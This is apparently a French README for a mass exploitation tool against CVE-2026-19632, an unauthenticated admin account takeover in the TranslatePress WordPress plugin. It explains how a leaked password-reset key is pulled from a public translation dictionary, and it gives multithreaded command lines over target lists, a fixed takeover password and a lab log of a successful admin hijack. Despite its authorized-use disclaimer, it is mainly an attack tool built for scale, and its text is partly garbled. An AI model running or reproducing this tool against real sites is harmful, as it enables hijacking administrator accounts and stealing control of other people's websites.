
Exploitation de prise de contrôle de compte non authentifiée pour TranslatePress Multilingual <= 3.3.1 (WordPress)
Outil de prise de contrôle de comptes en masse pour CVE-2026-19632, une prise de contrôle de compte non authentifiée dans le plugin WordPress TranslatePress – Multilingual (≤ 3.3.1) causée par la divulgation du lien de réinitialisation de mot de passe. Une seule commande par liste de cibles — la chaîne complète s'exécute automatiquement, et chaque prise de contrôle réussie est écrite dans le fichier de sortie au moment même où elle se produit.
Avertissement — utilisation autorisée uniquement. Cet outil modifie de vrais mots de passe de comptes et déclenche de vrais e-mails de réinitialisation de mot de passe. Utilisez-le exclusivement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test. L'auteur n'est pas responsable de toute utilisation abusive.
| CVE | CVE-2026-19632 |
| Produit | TranslatePress – Multilingual (plugin WordPress, slug translatepress-multilingual), par Cozmoslabs |
| Versions affectées | Toutes les versions ≤ 3.3.1 (plus de 400 000 installations actives) |
| Correctif | 3.3.2 (correctif : vérification current_user_can sur le gestionnaire AJAX public du dictionnaire) |
| CVSS 3.1 | 9.8 CRITIQUE — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (CNA : Wordfence) |
| CWE | CWE-200 (Exposition d'informations sensibles) + CWE-640 (Mécanisme de récupération de mot de passe faible) |
| Impact | Prise de contrôle de compte administrateur non authentifiée |
trp_data incluant le nonce get_translations. Les nonces pour les
visiteurs déconnectés sont publics par conception ; le plugin s'appuie sur eux pour la sécurité.wp_mail et traduit les e-mails sortants dans la langue du destinataire.
Lorsqu'un attaquant anonyme déclenche wp-login.php?action=lostpassword
pour un administrateur dont la langue de profil est une langue secondaire publiée,
l'intégralité de l'e-mail de réinitialisation — y compris l'URL en clair wp-login.php?action=rp
avec la clé de réinitialisation valide — est insérée dans
wp_trp_dictionary_<default>_<locale> de manière synchrone dans la
requête de l'attaquant. SMTP n'a même pas besoin de fonctionner.trp_get_translations_regular est enregistré
comme wp_ajax_nopriv et, avant la version 3.3.2, ne vérifiait que le nonce public.
N'importe qui peut énumérer le dictionnaire par string_ids et extraire la clé.Analyse technique complète : CVE-2026-19632-REPORT.md
cve-2026-19632.pyUn script autonome unique qui exécute la chaîne complète pour chaque cible d'une liste :
readme.txt)trp_data + sondage du sélecteur de langue)url|username|password au fichier de sortie
(flush, thread-safe, sans attendre la fin de l'exécution)Robustesse intégrée :
--new-password).pip install -r requirements.txt
# exécution complète contre une liste de cibles, 20 threads
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 20
# mot de passe fixe pour chaque cible
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --new-password 'Pwn3d!2026'
# via un proxy
python cve-2026-19632.py -l targets.txt -o vuln.txt -t 10 --proxy http://127.0.0.1:8080
| Option | Description |
|---|---|
-l, --list | Fichier avec une URL cible par ligne (commentaires # autorisés) |
-o, --output | Fichier de résultats, format url|username|password (défaut vuln.txt) |
-t, --threads | Workers concurrents (défaut 10) |
--new-password | Mot de passe fixe pour toutes les cibles (défaut : aléatoire 14 caractères par cible) |
--timeout | Délai d'expiration par requête en secondes (défaut 15) |
--proxy | Proxy HTTP, ex. http://127.0.0.1:8080 |
--no-color | Désactiver la sortie colorée |
Journal de terminal contre une instance de laboratoire (WordPress 7.0.4 + TranslatePress 3.3.1,
ar par défaut → en_US secondaire) — valeurs anonymisées :
[00:09:06] [INFO] Outil de prise de contrôle CVE-2026-19632 - 3 cible(s), 3 thread(s)...
[00:09:06] [SKIP] http://example.com (pas de TranslatePress)
[00:09:07] [INFO] http://TARGET TP trouvé - langues : ar->en_US, nonce=a1b2c3d4e5
[00:09:09] [INFO] candidats nom d'utilisateur : ['admin', ...]
[00:09:09] [WARN] tentative 1/3 échouée (clé obsolète)
[00:09:09] [WARN] tentative 2/3 échouée (clé obsolète)
[00:09:09] [WARN] tentative 3/3 échouée (clé obsolète)
[00:09:09] [INFO] toutes les clés obsolètes - nouveau déclenchement de réinitialisation...
[00:09:15] [TAKEOVER] http://TARGET SUCCÈS - utilisateur='admin' mot de passe='Pwn3d!2026'
[00:09:15] [INFO] terminé. résumé : ERREUR=1 | IGNORÉ=1 | PRISE DE CONTRÔLE=1
vuln.txt (écrit en direct, au moment du succès) :
http://TARGET|admin|Pwn3d!2026
Traitez
vuln.txtcomme un artefact sensible — il contient des identifiants en direct et/ou des clés de réinitialisation valides. Ajoutez-le à.gitignore.
Non requis : un serveur de messagerie fonctionnel (l'URL est stockée dans le
filtre wp_mail, avant la tentative d'envoi).
admin-ajax.php pour une énumération séquentielle de string_ids
avec un nonce security public.| Date | Événement |
|---|---|
| 2026-08-12 | CVE-2026-19632 réservé |
| 2026-08-13 | TranslatePress 3.3.2 publié avec le correctif |
| 2026-08-25/26 | Wordfence publie l'avis ; 8 618 tentatives d'exploitation bloquées en 24 h |
| 2026-08-28 | Avis ThaiCERT |
momopon1415) et l'équipe Wordfence, crédités dans le journal des modifications 3.3.2.MIT © 2026 ghostpel